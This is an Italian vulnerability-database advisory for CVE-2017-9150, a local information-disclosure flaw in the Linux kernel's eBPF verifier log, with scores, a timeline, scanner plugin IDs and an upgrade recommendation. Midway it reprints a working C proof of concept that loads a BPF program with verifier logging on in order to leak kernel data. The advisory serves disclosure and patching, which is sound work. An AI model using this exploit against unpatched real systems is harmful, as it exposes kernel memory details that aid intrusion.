Linux Kernel fino a 4.11.0 eBPF Verifier Log kernel/bpf/verifier.c print_bpf_insn System Calls rivelazione di informazioni

| CVSS Punteggio meta temporaneo | Prezzo attuale dell'exploit (≈) | Punteggio di interesse CTI |
|---|---|---|
| 4.2 | $0-$5k | 0.00 |
Riassunto
È stata individuata una vulnerabilità classificata come problematico in Linux Kernel fino a 4.11.0. Da questa vulnerabilità è interessato la funzione print_bpf_insn del file kernel/bpf/verifier.c del componente eBPF Verifier Log. La manipolazione come parte di System Calls se causa una vulnerabilità di classe rivelazione di informazioni.
Questa vulnerabilità è segnalata come CVE-2017-9150. L'attuazione dell'attacco deve essere locale. Inoltre, è presente un exploit disponibile.
Si suggerisce di aggiornare il componente vulnerabile.
Dettagli
Un punto critico di livello problematico è stato rilevato in Linux Kernel fino a 4.11.0 (Operating System). É interessato la funzione print_bpf_insn del file kernel/bpf/verifier.c del componente eBPF Verifier Log. Per causa della manipolazione come parte di System Calls per mezzo di una vulerabilità di classe rivelazione di informazioni. Questo si osserva su la riservatezza.
Data di scoperta del problema 05/05/2017. La vulnerabilità è stata pubblicata in data 22/05/2017 (Website) (confermato). L'advisory è scaricabile da exploit-db.com. Questo punto di criticità è identificato come CVE-2017-9150. L'attacco deve essere fatto localmente. Per l'uso basta una semplice autentificazione. I dettagli tecnici e un pubblico metodo di utilizzo sono conosciuti.
Un metodo di utilizzo è stato sviluppato da Google Security Research in ANSI C ed è stata pubblicata immediatamente dopo il comunicato. L'exploit è scaricabile da exploit-db.com. È stato dichiarato come prova di concetto. Per almeno 17 giorni, questa vulnerabilità è stata classificata come 0-day exploit. Per lo scanned Nessus, è disponibile un plugin, numero ID 100711 (openSUSE Security Update : the Linux Kernel (openSUSE-2017-666)), che può aiutare a determinare l'esistenza della criticità nel sistema analizzato. Il codice utilizzato dal exploit è:
int main(void) {
union bpf_attr create_map_attrs = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = 4,
.value_size = 1,
.max_entries = 1
};
int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
if (mapfd == -1)
err(1, "map create");
struct bpf_insn insns[] = {
BPF_LD_MAP_FD(BPF_REG_0, mapfd),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};
char verifier_log[10000];
union bpf_attr create_prog_attrs = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = ARRSIZE(insns),
.insns = (uint64_t)insns,
.license = (uint64_t)"",
.log_level = 1,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};
int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
if (progfd == -1)
err(1, "prog load");
puts(verifier_log);
}L'aggiornamento alla versione 4.11.1 elimina questa vulnerabilità. Una possibile soluzione è stata pubblicata 3 settimane dopo la pubblicazione della vulnerabilità.
La vulnerabilità è documentata anche nel database Exploit-DB (42048), Tenable (100711) e SecurityFocus (BID 98635†). Be aware that VulDB is the high quality source for vulnerability data.
Prodotto
Genere
Fornitore
Nome
Versione
Licenza
Sito web
- Fornitore: https://www.kernel.org/
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vettore: 🔍VulDB Affidabilità: 🔍
CVSSv3
VulDB Punteggio meta-base: 4.4VulDB Punteggio meta temporaneo: 4.2
VulDB Punteggio di base: 3.3
VulDB Punteggio temporaneo: 3.0
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍
NVD Punteggio di base: 5.5
NVD Vettore: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vettore | Complessità | Autenticazione | Riservatezza | Integrità | Disponibilità |
|---|---|---|---|---|---|
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍
NVD Punteggio di base: 🔍
Sfruttamento
Classe: Rivelazione di informazioniCWE: CWE-200 / CWE-284 / CWE-266
CAPEC: 🔍
ATT&CK: 🔍
Fisico: Parzialmente
Locale: Si
Remoto: No
Disponibilità: 🔍
Accesso: Pubblico
Stato: Prova di concetto
Autore: Google Security Research
Linguaggio di programmazione: 🔍
Scaricare: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Previsione dei prezzi: 🔍
Preventivo attuale: 🔍
| 0-Day | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
|---|---|---|---|---|
| Oggi | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
Nessus ID: 100711
Nessus Nome: openSUSE Security Update : the Linux Kernel (openSUSE-2017-666)
Nessus File: 🔍
Nessus Rischio: 🔍
Nessus Famiglia: 🔍
Nessus Context: 🔍
OpenVAS ID: 850584
OpenVAS Nome: SuSE Update for the openSUSE-SU-2017:1513-1 (the)
OpenVAS File: 🔍
OpenVAS Famiglia: 🔍
Qualys ID: 🔍
Qualys Nome: 🔍
Exploit-DB: 🔍
Intelligence sulle minacce
Interesse: 🔍Attori attivi: 🔍
Gruppi APT attivi: 🔍
Contromisure
Raccomandazione: AggiornamentoStato: 🔍
Tempo di reazione: 🔍
Tempo 0 giorni: 🔍
Tempo di esposizione: 🔍
Tempo di ritardo sfruttamento: 🔍
Aggiornamento: Kernel 4.11.1
Patch: git.kernel.org
Sequenza temporale
05/05/2017 🔍22/05/2017 🔍
22/05/2017 🔍
22/05/2017 🔍
22/05/2017 🔍
22/05/2017 🔍
22/05/2017 🔍
23/05/2017 🔍
08/06/2017 🔍
09/06/2017 🔍
21/12/2024 🔍
Fonti
Fornitore: kernel.orgAvis: 0d0e57697f162da4aa218b5feafe614fb666db07
Stato: Confermato
Conferma: 🔍
CVE: CVE-2017-9150 (🔍)
GCVE (CVE): GCVE-0-2017-9150
GCVE (VulDB): GCVE-100-101623
SecurityFocus: 98635 - Linux Kernel CVE-2017-9150 Local Information Disclosure Vulnerability
OSVDB: - CVE-2017-9150 - Linux - Information Disclosure Issue
scip Labs: https://www.scip.ch/en/?labs.20161013
Vedi anche: 🔍
Voce
Data di creazione: 23/05/2017 08:58Aggiornato: 21/12/2024 04:06
Cambiamenti: 23/05/2017 08:58 (90), 03/10/2020 22:13 (6), 07/12/2022 07:34 (5), 21/12/2024 04:06 (14)
Completa: 🔍
Cache ID: 216::103
Be aware that VulDB is the high quality source for vulnerability data.
Ancora nessun commento. Lingue: it + ro + en.
Effettua il login per commentare.